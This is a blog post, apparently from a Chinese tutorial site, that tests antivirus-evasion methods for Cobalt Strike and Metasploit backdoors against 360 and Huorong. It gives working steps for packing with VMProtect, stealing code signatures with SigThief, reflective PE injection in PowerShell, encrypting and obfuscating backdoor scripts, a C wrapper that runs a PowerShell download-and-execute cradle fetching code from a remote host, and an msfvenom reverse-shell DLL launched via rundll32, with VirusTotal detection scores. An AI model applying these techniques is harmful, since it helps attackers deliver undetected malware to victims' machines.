飙血推荐
  • HTML教程
  • MySQL教程
  • JavaScript基础教程
  • php入门教程
  • JavaScript正则表达式运用
  • Excel函数教程
  • UEditor使用文档
  • AngularJS教程
  • ThinkPHP5.0教程

初探免杀之路——免杀方法测试

时间:2021-12-04  作者:1-Ry  

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担

前言

之前做靶机的时候发现有安全卫士,怎么都突破不了,意识到了免杀的重要性,花点时间来学习一下免杀的技巧,本文分别对exe文件和ps1文件进行免杀测试,所涉及的工具均已打包,私信获取

免杀介绍

免杀有很多种方式

  • 1、源码免杀。在有源码的情况下,可以定位特征码、加花指令、多层跳转、加无效指令、替换api、重写api、API伪调用等等,这部分内容较多略复杂

  • 2、无源码免杀。在源码不好修改需要对exe进行免杀时,可以加资源、替换资源、加壳、加签名、PE优化、增加节数据等等。本文中的方法1就是这种方式,只不过算是最简单的一种。

  • 3、powershell免杀。因为mimikatz有powershell版或者使用powershell可以加载,所以对powershell的脚本免杀也是一种方式,本文中的方法2-方法6都是对powershell进行处理。

  • 4、加载器分离免杀。加载器就是利用了ShellCode和PE分离的方式来达到免杀的效果,不过很多只能加载基于RAW格式或固定格式的shellcode,对exe程序就无能无力了

  • 5、白名单免杀。白名单主要是使用了rundll32、msbuild、mshta、cscript等多个白名单程序来加载嵌入了木马的jscript脚本

EXE文件免杀

首先来看看原生态的cs生成的exe后门木马吧

火绒一放进去就报毒了,360运行之后也报毒了

VirusTotal - Home原生木马的查杀率为48/68

 

加壳+签名

需要的软件

VMProtect Ultimate 3.4.0加壳软件、签名脚本域名

安装vmp加壳软件后,使⽤vmp进⾏加壳

 cs的后门和msf的后门都试了一下,不知道为什么VMP这个工具不能对msf的后门加壳

 加壳之后试了一下,火绒过了,360还是报毒了

 使⽤ 域名 对上⼀步⽣成的exe⽂件进⾏签名。sigthief的详细⽤法可以参考 https://域名/secretsquirrel/SigThief(要以管理员权限运行)

 python 域名 -i 域名 -t 域名 -o 域名

但还是运行不了

再来看看VirusTotal,只有14/67了,降了很多

PowerShell嵌入EXE文件

使用工具:Invoke-域名

这个方法其实只是将exe程序转为字符串,然后嵌入到Invoke-域名中直接执行。

将下面代码保存为Convert-域名

function Convert-BinaryToString {
   [CmdletBinding()] param (
      [string] $FilePath
   )
   try {
      $ByteArray = [域名]::ReadAllBytes($FilePath);
   }
   catch {
      throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
   }
   if ($ByteArray) {
      $Base64String = [域名ert]::ToBase64String($ByteArray);
   }
   else {
      throw \'$ByteArray is $null.\';
   }
   Write-Output -InputObject $Base64String
}

这个ps1文件的意思是将exe转换为二进制文件

执行

import-module .\Convert-域名
Convert-BinaryToString .\域名 >>域名 \\如果执行不了要加绝对路径

新建一个域名,内容如下,需要替换里面域名的内容和Invoke-ReflectivePEInjection内容。

# Your base64 encoded binary
$InputString = \'...........\'  #上面域名的内容
function Invoke-ReflectivePEInjection  #Invoke-ReflectivePEInjection的内容
{
   ......
   ......
   ......
}
# Convert base64 string to byte array
$PEBytes = [域名ert]::FromBase64String($InputString)
# Run EXE in memory
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"

然后在目标机器执行powershell -ExecutionPolicy Bypass -File 域名即可。

 360火绒都过不了,Invoke-ReflectivePEInjection这个知名度挺高的,VirusTotal

 

ps1文件免杀

 cs生成了一个ps1的后门脚本,先上传上去看看,令我意外的是360居然没有报毒,运行也直接上线了,但火绒还是爆毒了

VirusTotal

使用Out-EncryptedScript加密

使用Out-域名

Import-Module .\Out-域名
Out-EncryptedScript -ScriptPath .\域名 -Password tidesec -Salt lry123

默认会生成的域名文件。其中两个参数:-Password 设置加密的密钥-Salt 随机数,防止被暴力破解

 

运行一下

[String] $cmd = Get-Content .\域名
Invoke-Expression $cmd
$decrypted = de tidesec lry123
Invoke-Expression $decrypted

 

 

 成功上线,且火绒和360都没爆毒

但VirusTotal上检测的效果却没这么好

使用xencrypt加密

域名

Import-Module ./域名
Invoke-Xencrypt -InFile .\域名 -OutFile 域名 -Iterations 88

 

但是过了360还是没能过火绒

VirusTotal效果倒是很好

C程序中执行powershell

这个执行方式也是比较简单,在C代码里执行powershell。

编译为exe文件

#include<stdio.h>
#include<stdlib.h>
int main(){
system("powershell $c2=\'IEX (New-Object 域名lient).Downlo\';$c3=\'adString(\'\'http://域名.64/域名\'\')\'; $Text=$c2+$c3; IEX(-join $Text);");
return 0;
}

 但火绒和360都过不了

反而直接执行命令不会被拦截

powershell IEX (New-Object 域名lient).DownloadString(\'\'http://域名.64/域名\'\')

拿去VirusTotal,效果反而是最好的

 Invoke-Obfuscation-master

在测试一下我之前靶机试过的免杀

Import-Module .\Invoke-域名
Invoke-Obfuscation

导入之后设置要免杀的ps1脚本路径

set scriptpath path

 

选择编码混淆ENCODING

看到有八种编码方式,每个都试试看

1
out 域名

 直接说结果吧

1、ASCII 过360没过火绒   virustotal 5/57

2、Hex 过360没过火绒   virustotal 5/55

3、Octal 过360没过火绒   virustotal 5/56

4、Binary 过360没过火绒   virustotal 2/56

5、SecureString 过360没过火绒

6、BXOR 过360没过火绒  virustotal 5/56

7、Special Characters 过360火绒 virustotal0/56(强)

8、Whitespace  过360没过火绒   virustotal 1/56

说一下使用这个工具遇到的问题,一开始我连续生成了四个免杀后的ps1文件,到第五个的时候就变得很久,我还以为是文件太大的原因,可是生成之后的ps1文件也用不了,到了第二天一打开就能秒生成,加上我之前靶机也遇到这样的问题,再加上后面试验,发现这个工具编码免杀的时候还不能一次全部生成,最好生成一个再重新打开生成另一个,不知道是不是就我遇到这种情况

域名

再介绍一种bypass的方法,msf或cs生成dll后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f dll >域名

运行dll

C:\Windows\System32\域名 域名,Start

 

360没有报毒,成功上线,但是过了一会还是被杀了

火绒直接报毒

但是,使用加壳签名之后的dll,360火绒全过

 还可以结合别的免杀方法,这里就不测试了

总结

测试下来后发现:360对exe的文件比较敏感,火绒则对ps1文件敏感。遇到不同的杀软可以针对性的选择,也可以通过多种免杀方式结合。以后遇到别的免杀方法后续再补充,水文一篇大神见笑

标签:编程
湘ICP备14001474号-3  投诉建议:234161800@qq.com   部分内容来源于网络,如有侵权,请联系删除。